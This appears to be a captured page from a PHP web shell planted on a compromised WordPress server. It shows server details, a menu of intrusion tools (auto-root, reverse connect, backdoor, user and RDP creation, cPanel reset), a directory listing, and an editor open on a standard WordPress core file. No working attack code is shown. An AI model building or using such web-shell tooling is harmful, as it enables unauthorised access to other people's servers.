Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.145.105.199
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ilpnowa /
web /
wp-admin /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
admin-filters.php
7.01
KB
-rw-r--r--
admin.php
2.88
KB
-rw-r--r--
ajax-actions.php
125.8
KB
-rw-r--r--
bookmark.php
8.88
KB
-rw-r--r--
class-automatic-upgrader-skin....
3.03
KB
-rw-r--r--
class-bulk-plugin-upgrader-ski...
1.85
KB
-rw-r--r--
class-bulk-theme-upgrader-skin...
1.89
KB
-rw-r--r--
class-bulk-upgrader-skin.php
5.08
KB
-rw-r--r--
class-core-upgrader.php
13.07
KB
-rw-r--r--
class-file-upload-upgrader.php
3.18
KB
-rw-r--r--
class-ftp-pure.php
5.27
KB
-rw-r--r--
class-ftp-sockets.php
8.25
KB
-rw-r--r--
class-ftp.php
26.46
KB
-rw-r--r--
class-language-pack-upgrader-s...
2.13
KB
-rw-r--r--
class-language-pack-upgrader.p...
10.81
KB
-rw-r--r--
class-pclzip.php
191.21
KB
-rw-r--r--
class-plugin-installer-skin.ph...
4.21
KB
-rw-r--r--
class-plugin-upgrader-skin.php
2.5
KB
-rw-r--r--
class-plugin-upgrader.php
14.32
KB
-rw-r--r--
class-theme-installer-skin.php
3.99
KB
-rw-r--r--
class-theme-upgrader-skin.php
3.34
KB
-rw-r--r--
class-theme-upgrader.php
19.04
KB
-rw-r--r--
class-walker-category-checklis...
4.12
KB
-rw-r--r--
class-walker-nav-menu-checklis...
4.81
KB
-rw-r--r--
class-walker-nav-menu-edit.php
10.94
KB
-rw-r--r--
class-wp-ajax-upgrader-skin.ph...
3
KB
-rw-r--r--
class-wp-automatic-updater.php
33.23
KB
-rw-r--r--
class-wp-comments-list-table.p...
25.04
KB
-rw-r--r--
class-wp-community-events.php
15.55
KB
-rw-r--r--
class-wp-filesystem-base.php
21.66
KB
-rw-r--r--
class-wp-filesystem-direct.php
10.96
KB
-rw-r--r--
class-wp-filesystem-ftpext.php
13.15
KB
-rw-r--r--
class-wp-filesystem-ftpsockets...
10.34
KB
-rw-r--r--
class-wp-filesystem-ssh2.php
14.61
KB
-rw-r--r--
class-wp-importer.php
7.17
KB
-rw-r--r--
class-wp-internal-pointers.php
5.39
KB
-rw-r--r--
class-wp-links-list-table.php
7.42
KB
-rw-r--r--
class-wp-list-table-compat.php
1.04
KB
-rw-r--r--
class-wp-list-table.php
36.46
KB
-rw-r--r--
class-wp-media-list-table.php
22.11
KB
-rw-r--r--
class-wp-ms-sites-list-table.p...
15.19
KB
-rw-r--r--
class-wp-ms-themes-list-table....
19.76
KB
-rw-r--r--
class-wp-ms-users-list-table.p...
12.54
KB
-rw-r--r--
class-wp-plugin-install-list-t...
18.89
KB
-rw-r--r--
class-wp-plugins-list-table.ph...
32.05
KB
-rw-r--r--
class-wp-post-comments-list-ta...
1.44
KB
-rw-r--r--
class-wp-posts-list-table.php
51.48
KB
-rw-r--r--
class-wp-screen.php
34.46
KB
-rw-r--r--
class-wp-site-icon.php
5.9
KB
-rw-r--r--
class-wp-terms-list-table.php
17.54
KB
-rw-r--r--
class-wp-theme-install-list-ta...
14.18
KB
-rw-r--r--
class-wp-themes-list-table.php
9.05
KB
-rw-r--r--
class-wp-upgrader-skin.php
4.94
KB
-rw-r--r--
class-wp-upgrader-skins.php
1.42
KB
-rw-r--r--
class-wp-upgrader.php
33.12
KB
-rw-r--r--
class-wp-users-list-table.php
16.88
KB
-rw-r--r--
comment.php
5.59
KB
-rw-r--r--
continents-cities.php
19.22
KB
-rw-r--r--
credits.php
2.14
KB
-rw-r--r--
dashboard.php
62.08
KB
-rw-r--r--
deprecated.php
38.25
KB
-rw-r--r--
edit-tag-messages.php
1.38
KB
-rw-r--r--
export.php
22.43
KB
-rw-r--r--
file.php
80.25
KB
-rw-r--r--
image-edit.php
32.77
KB
-rw-r--r--
image.php
21.58
KB
-rw-r--r--
import.php
6.1
KB
-rw-r--r--
list-table.php
2.59
KB
-rw-r--r--
media.php
103.83
KB
-rw-r--r--
menu.php
8.51
KB
-rw-r--r--
meta-boxes.php
51
KB
-rw-r--r--
misc.php
62.76
KB
-rw-r--r--
ms-admin-filters.php
1.35
KB
-rw-r--r--
ms-deprecated.php
2.79
KB
-rw-r--r--
ms.php
34.58
KB
-rw-r--r--
nav-menu.php
41.47
KB
-rw-r--r--
network.php
23.32
KB
-rw-r--r--
noop.php
1.19
KB
-rw-r--r--
options.php
3.74
KB
-rw-r--r--
plugin-install.php
30.96
KB
-rw-r--r--
plugin.php
67.06
KB
-rw-r--r--
post.php
58.73
KB
-rw-r--r--
revision.php
14.6
KB
-rw-r--r--
schema.php
35.38
KB
-rw-r--r--
screen.php
6
KB
-rw-r--r--
taxonomy.php
7.55
KB
-rw-r--r--
template.php
78.54
KB
-rw-r--r--
theme-install.php
6.14
KB
-rw-r--r--
theme.php
27.67
KB
-rw-r--r--
translation-install.php
8.35
KB
-rw-r--r--
update-core.php
54.46
KB
-rw-r--r--
update.php
25.27
KB
-rw-r--r--
upgrade.php
93.63
KB
-rw-r--r--
user.php
48.88
KB
-rw-r--r--
widgets.php
9.77
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-ms-themes-list-table.php
<?php /** * List Table API: WP_MS_Themes_List_Table class * * @package WordPress * @subpackage Administration * @since 3.1.0 */ /** * Core class used to implement displaying themes in a list table for the network admin. * * @since 3.1.0 * @access private * * @see WP_List_Table */ class WP_MS_Themes_List_Table extends WP_List_Table { public $site_id; public $is_site_themes; private $has_items; /** * Constructor. * * @since 3.1.0 * * @see WP_List_Table::__construct() for more information on default arguments. * * @global string $status * @global int $page * * @param array $args An associative array of arguments. */ public function __construct( $args = array() ) { global $status, $page; parent::__construct( array( 'plural' => 'themes', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); $status = isset( $_REQUEST['theme_status'] ) ? $_REQUEST['theme_status'] : 'all'; if ( !in_array( $status, array( 'all', 'enabled', 'disabled', 'upgrade', 'search', 'broken' ) ) ) $status = 'all'; $page = $this->get_pagenum(); $this->is_site_themes = ( 'site-themes-network' === $this->screen->id ) ? true : false; if ( $this->is_site_themes ) $this->site_id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0; } /** * * @return array */ protected function get_table_classes() { // todo: remove and add CSS for .themes return array( 'widefat', 'plugins' ); } /** * * @return bool */ public function ajax_user_can() { if ( $this->is_site_themes ) return current_user_can( 'manage_sites' ); else return current_user_can( 'manage_network_themes' ); } /** * * @global string $status * @global array $totals * @global int $page * @global string $orderby * @global string $order * @global string $s */ public function prepare_items() { global $status, $totals, $page, $orderby, $order, $s; wp_reset_vars( array( 'orderby', 'order', 's' ) ); $themes = array( /** * Filters the full array of WP_Theme objects to list in the Multisite * themes list table. * * @since 3.1.0 * * @param array $all An array of WP_Theme objects to display in the list table. */ 'all' => apply_filters( 'all_themes', wp_get_themes() ), 'search' => array(), 'enabled' => array(), 'disabled' => array(), 'upgrade' => array(), 'broken' => $this->is_site_themes ? array() : wp_get_themes( array( 'errors' => true ) ), ); if ( $this->is_site_themes ) { $themes_per_page = $this->get_items_per_page( 'site_themes_network_per_page' ); $allowed_where = 'site'; } else { $themes_per_page = $this->get_items_per_page( 'themes_network_per_page' ); $allowed_where = 'network'; } $maybe_update = current_user_can( 'update_themes' ) && ! $this->is_site_themes && $current = get_site_transient( 'update_themes' ); foreach ( (array) $themes['all'] as $key => $theme ) { if ( $this->is_site_themes && $theme->is_allowed( 'network' ) ) { unset( $themes['all'][ $key ] ); continue; } if ( $maybe_update && isset( $current->response[ $key ] ) ) { $themes['all'][ $key ]->update = true; $themes['upgrade'][ $key ] = $themes['all'][ $key ]; } $filter = $theme->is_allowed( $allowed_where, $this->site_id ) ? 'enabled' : 'disabled'; $themes[ $filter ][ $key ] = $themes['all'][ $key ]; } if ( $s ) { $status = 'search'; $themes['search'] = array_filter( array_merge( $themes['all'], $themes['broken'] ), array( $this, '_search_callback' ) ); } $totals = array(); foreach ( $themes as $type => $list ) $totals[ $type ] = count( $list ); if ( empty( $themes[ $status ] ) && !in_array( $status, array( 'all', 'search' ) ) ) $status = 'all'; $this->items = $themes[ $status ]; WP_Theme::sort_by_name( $this->items ); $this->has_items = ! empty( $themes['all'] ); $total_this_page = $totals[ $status ]; wp_localize_script( 'updates', '_wpUpdatesItemCounts', array( 'themes' => $totals, 'totals' => wp_get_update_data(), ) ); if ( $orderby ) { $orderby = ucfirst( $orderby ); $order = strtoupper( $order ); if ( $orderby === 'Name' ) { if ( 'ASC' === $order ) { $this->items = array_reverse( $this->items ); } } else { uasort( $this->items, array( $this, '_order_callback' ) ); } } $start = ( $page - 1 ) * $themes_per_page; if ( $total_this_page > $themes_per_page ) $this->items = array_slice( $this->items, $start, $themes_per_page, true ); $this->set_pagination_args( array( 'total_items' => $total_this_page, 'per_page' => $themes_per_page, ) ); } /** * @staticvar string $term * @param WP_Theme $theme * @return bool */ public function _search_callback( $theme ) { static $term = null; if ( is_null( $term ) ) $term = wp_unslash( $_REQUEST['s'] ); foreach ( array( 'Name', 'Description', 'Author', 'Author', 'AuthorURI' ) as $field ) { // Don't mark up; Do translate. if ( false !== stripos( $theme->display( $field, false, true ), $term ) ) return true; } if ( false !== stripos( $theme->get_stylesheet(), $term ) ) return true; if ( false !== stripos( $theme->get_template(), $term ) ) return true; return false; } // Not used by any core columns. /** * @global string $orderby * @global string $order * @param array $theme_a * @param array $theme_b * @return int */ public function _order_callback( $theme_a, $theme_b ) { global $orderby, $order; $a = $theme_a[ $orderby ]; $b = $theme_b[ $orderby ]; if ( $a == $b ) return 0; if ( 'DESC' === $order ) return ( $a < $b ) ? 1 : -1; else return ( $a < $b ) ? -1 : 1; } /** */ public function no_items() { if ( $this->has_items ) { _e( 'No themes found.' ); } else { _e( 'You do not appear to have any themes available at this time.' ); } } /** * * @return array */ public function get_columns() { return array( 'cb' => '<input type="checkbox" />', 'name' => __( 'Theme' ), 'description' => __( 'Description' ), ); } /** * * @return array */ protected function get_sortable_columns() { return array( 'name' => 'name', ); } /** * Gets the name of the primary column. * * @since 4.3.0 * * @return string Unalterable name of the primary column name, in this case, 'name'. */ protected function get_primary_column_name() { return 'name'; } /** * * @global array $totals * @global string $status * @return array */ protected function get_views() { global $totals, $status; $status_links = array(); foreach ( $totals as $type => $count ) { if ( !$count ) continue; switch ( $type ) { case 'all': $text = _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $count, 'themes' ); break; case 'enabled': $text = _n( 'Enabled <span class="count">(%s)</span>', 'Enabled <span class="count">(%s)</span>', $count ); break; case 'disabled': $text = _n( 'Disabled <span class="count">(%s)</span>', 'Disabled <span class="count">(%s)</span>', $count ); break; case 'upgrade': $text = _n( 'Update Available <span class="count">(%s)</span>', 'Update Available <span class="count">(%s)</span>', $count ); break; case 'broken' : $text = _n( 'Broken <span class="count">(%s)</span>', 'Broken <span class="count">(%s)</span>', $count ); break; } if ( $this->is_site_themes ) $url = 'site-themes.php?id=' . $this->site_id; else $url = 'themes.php'; if ( 'search' != $type ) { $status_links[$type] = sprintf( "<a href='%s'%s>%s</a>", esc_url( add_query_arg('theme_status', $type, $url) ), ( $type === $status ) ? ' class="current" aria-current="page"' : '', sprintf( $text, number_format_i18n( $count ) ) ); } } return $status_links; } /** * @global string $status * * @return array */ protected function get_bulk_actions() { global $status; $actions = array(); if ( 'enabled' != $status ) $actions['enable-selected'] = $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' ); if ( 'disabled' != $status ) $actions['disable-selected'] = $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' ); if ( ! $this->is_site_themes ) { if ( current_user_can( 'update_themes' ) ) $actions['update-selected'] = __( 'Update' ); if ( current_user_can( 'delete_themes' ) ) $actions['delete-selected'] = __( 'Delete' ); } return $actions; } /** */ public function display_rows() { foreach ( $this->items as $theme ) $this->single_row( $theme ); } /** * Handles the checkbox column output. * * @since 4.3.0 * * @param WP_Theme $theme The current WP_Theme object. */ public function column_cb( $theme ) { $checkbox_id = 'checkbox_' . md5( $theme->get('Name') ); ?> <input type="checkbox" name="checked[]" value="<?php echo esc_attr( $theme->get_stylesheet() ) ?>" id="<?php echo $checkbox_id ?>" /> <label class="screen-reader-text" for="<?php echo $checkbox_id ?>" ><?php _e( 'Select' ) ?> <?php echo $theme->display( 'Name' ) ?></label> <?php } /** * Handles the name column output. * * @since 4.3.0 * * @global string $status * @global int $page * @global string $s * * @param WP_Theme $theme The current WP_Theme object. */ public function column_name( $theme ) { global $status, $page, $s; $context = $status; if ( $this->is_site_themes ) { $url = "site-themes.php?id={$this->site_id}&"; $allowed = $theme->is_allowed( 'site', $this->site_id ); } else { $url = 'themes.php?'; $allowed = $theme->is_allowed( 'network' ); } // Pre-order. $actions = array( 'enable' => '', 'disable' => '', 'delete' => '' ); $stylesheet = $theme->get_stylesheet(); $theme_key = urlencode( $stylesheet ); if ( ! $allowed ) { if ( ! $theme->errors() ) { $url = add_query_arg( array( 'action' => 'enable', 'theme' => $theme_key, 'paged' => $page, 's' => $s, ), $url ); if ( $this->is_site_themes ) { /* translators: %s: theme name */ $aria_label = sprintf( __( 'Enable %s' ), $theme->display( 'Name' ) ); } else { /* translators: %s: theme name */ $aria_label = sprintf( __( 'Network Enable %s' ), $theme->display( 'Name' ) ); } $actions['enable'] = sprintf( '<a href="%s" class="edit" aria-label="%s">%s</a>', esc_url( wp_nonce_url( $url, 'enable-theme_' . $stylesheet ) ), esc_attr( $aria_label ), ( $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' ) ) ); } } else { $url = add_query_arg( array( 'action' => 'disable', 'theme' => $theme_key, 'paged' => $page, 's' => $s, ), $url ); if ( $this->is_site_themes ) { /* translators: %s: theme name */ $aria_label = sprintf( __( 'Disable %s' ), $theme->display( 'Name' ) ); } else { /* translators: %s: theme name */ $aria_label = sprintf( __( 'Network Disable %s' ), $theme->display( 'Name' ) ); } $actions['disable'] = sprintf( '<a href="%s" aria-label="%s">%s</a>', esc_url( wp_nonce_url( $url, 'disable-theme_' . $stylesheet ) ), esc_attr( $aria_label ), ( $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' ) ) ); } if ( ! $allowed && current_user_can( 'delete_themes' ) && ! $this->is_site_themes && $stylesheet != get_option( 'stylesheet' ) && $stylesheet != get_option( 'template' ) ) { $url = add_query_arg( array( 'action' => 'delete-selected', 'checked[]' => $theme_key, 'theme_status' => $context, 'paged' => $page, 's' => $s, ), 'themes.php' ); /* translators: %s: theme name */ $aria_label = sprintf( _x( 'Delete %s', 'theme' ), $theme->display( 'Name' ) ); $actions['delete'] = sprintf( '<a href="%s" class="delete" aria-label="%s">%s</a>', esc_url( wp_nonce_url( $url, 'bulk-themes' ) ), esc_attr( $aria_label ), __( 'Delete' ) ); } /** * Filters the action links displayed for each theme in the Multisite * themes list table. * * The action links displayed are determined by the theme's status, and * which Multisite themes list table is being displayed - the Network * themes list table (themes.php), which displays all installed themes, * or the Site themes list table (site-themes.php), which displays the * non-network enabled themes when editing a site in the Network admin. * * The default action links for the Network themes list table include * 'Network Enable', 'Network Disable', and 'Delete'. * * The default action links for the Site themes list table include * 'Enable', and 'Disable'. * * @since 2.8.0 * * @param array $actions An array of action links. * @param WP_Theme $theme The current WP_Theme object. * @param string $context Status of the theme, one of 'all', 'enabled', or 'disabled'. */ $actions = apply_filters( 'theme_action_links', array_filter( $actions ), $theme, $context ); /** * Filters the action links of a specific theme in the Multisite themes * list table. * * The dynamic portion of the hook name, `$stylesheet`, refers to the * directory name of the theme, which in most cases is synonymous * with the template name. * * @since 3.1.0 * * @param array $actions An array of action links. * @param WP_Theme $theme The current WP_Theme object. * @param string $context Status of the theme, one of 'all', 'enabled', or 'disabled'. */ $actions = apply_filters( "theme_action_links_{$stylesheet}", $actions, $theme, $context ); echo $this->row_actions( $actions, true ); } /** * Handles the description column output. * * @since 4.3.0 * * @global string $status * @global array $totals * * @param WP_Theme $theme The current WP_Theme object. */ public function column_description( $theme ) { global $status, $totals; if ( $theme->errors() ) { $pre = $status === 'broken' ? __( 'Broken Theme:' ) . ' ' : ''; echo '<p><strong class="error-message">' . $pre . $theme->errors()->get_error_message() . '</strong></p>'; } if ( $this->is_site_themes ) { $allowed = $theme->is_allowed( 'site', $this->site_id ); } else { $allowed = $theme->is_allowed( 'network' ); } $class = ! $allowed ? 'inactive' : 'active'; if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) ) $class .= ' update'; echo "<div class='theme-description'><p>" . $theme->display( 'Description' ) . "</p></div> <div class='$class second theme-version-author-uri'>"; $stylesheet = $theme->get_stylesheet(); $theme_meta = array(); if ( $theme->get('Version') ) { $theme_meta[] = sprintf( __( 'Version %s' ), $theme->display('Version') ); } $theme_meta[] = sprintf( __( 'By %s' ), $theme->display('Author') ); if ( $theme->get('ThemeURI') ) { /* translators: %s: theme name */ $aria_label = sprintf( __( 'Visit %s homepage' ), $theme->display( 'Name' ) ); $theme_meta[] = sprintf( '<a href="%s" aria-label="%s">%s</a>', $theme->display( 'ThemeURI' ), esc_attr( $aria_label ), __( 'Visit Theme Site' ) ); } /** * Filters the array of row meta for each theme in the Multisite themes * list table. * * @since 3.1.0 * * @param array $theme_meta An array of the theme's metadata, * including the version, author, and * theme URI. * @param string $stylesheet Directory name of the theme. * @param WP_Theme $theme WP_Theme object. * @param string $status Status of the theme. */ $theme_meta = apply_filters( 'theme_row_meta', $theme_meta, $stylesheet, $theme, $status ); echo implode( ' | ', $theme_meta ); echo '</div>'; } /** * Handles default column output. * * @since 4.3.0 * * @param WP_Theme $theme The current WP_Theme object. * @param string $column_name The current column name. */ public function column_default( $theme, $column_name ) { $stylesheet = $theme->get_stylesheet(); /** * Fires inside each custom column of the Multisite themes list table. * * @since 3.1.0 * * @param string $column_name Name of the column. * @param string $stylesheet Directory name of the theme. * @param WP_Theme $theme Current WP_Theme object. */ do_action( 'manage_themes_custom_column', $column_name, $stylesheet, $theme ); } /** * Handles the output for a single table row. * * @since 4.3.0 * * @param WP_Theme $item The current WP_Theme object. */ public function single_row_columns( $item ) { list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) { $extra_classes = ''; if ( in_array( $column_name, $hidden ) ) { $extra_classes .= ' hidden'; } switch ( $column_name ) { case 'cb': echo '<th scope="row" class="check-column">'; $this->column_cb( $item ); echo '</th>'; break; case 'name': $active_theme_label = ''; /* The presence of the site_id property means that this is a subsite view and a label for the active theme needs to be added */ if ( ! empty( $this->site_id ) ) { $stylesheet = get_blog_option( $this->site_id, 'stylesheet' ); $template = get_blog_option( $this->site_id, 'template' ); /* Add a label for the active template */ if ( $item->get_template() === $template ) { $active_theme_label = ' — ' . __( 'Active Theme' ); } /* In case this is a child theme, label it properly */ if ( $stylesheet !== $template && $item->get_stylesheet() === $stylesheet) { $active_theme_label = ' — ' . __( 'Active Child Theme' ); } } echo "<td class='theme-title column-primary{$extra_classes}'><strong>" . $item->display( 'Name' ) . $active_theme_label . '</strong>'; $this->column_name( $item ); echo "</td>"; break; case 'description': echo "<td class='column-description desc{$extra_classes}'>"; $this->column_description( $item ); echo '</td>'; break; default: echo "<td class='$column_name column-$column_name{$extra_classes}'>"; $this->column_default( $item, $column_name ); echo "</td>"; break; } } } /** * @global string $status * @global array $totals * * @param WP_Theme $theme */ public function single_row( $theme ) { global $status, $totals; if ( $this->is_site_themes ) { $allowed = $theme->is_allowed( 'site', $this->site_id ); } else { $allowed = $theme->is_allowed( 'network' ); } $stylesheet = $theme->get_stylesheet(); $class = ! $allowed ? 'inactive' : 'active'; if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) ) { $class .= ' update'; } printf( '<tr class="%s" data-slug="%s">', esc_attr( $class ), esc_attr( $stylesheet ) ); $this->single_row_columns( $theme ); echo "</tr>"; if ( $this->is_site_themes ) remove_action( "after_theme_row_$stylesheet", 'wp_theme_update_row' ); /** * Fires after each row in the Multisite themes list table. * * @since 3.1.0 * * @param string $stylesheet Directory name of the theme. * @param WP_Theme $theme Current WP_Theme object. * @param string $status Status of the theme. */ do_action( 'after_theme_row', $stylesheet, $theme, $status ); /** * Fires after each specific row in the Multisite themes list table. * * The dynamic portion of the hook name, `$stylesheet`, refers to the * directory name of the theme, most often synonymous with the template * name of the theme. * * @since 3.5.0 * * @param string $stylesheet Directory name of the theme. * @param WP_Theme $theme Current WP_Theme object. * @param string $status Status of the theme. */ do_action( "after_theme_row_{$stylesheet}", $stylesheet, $theme, $status ); } }
Close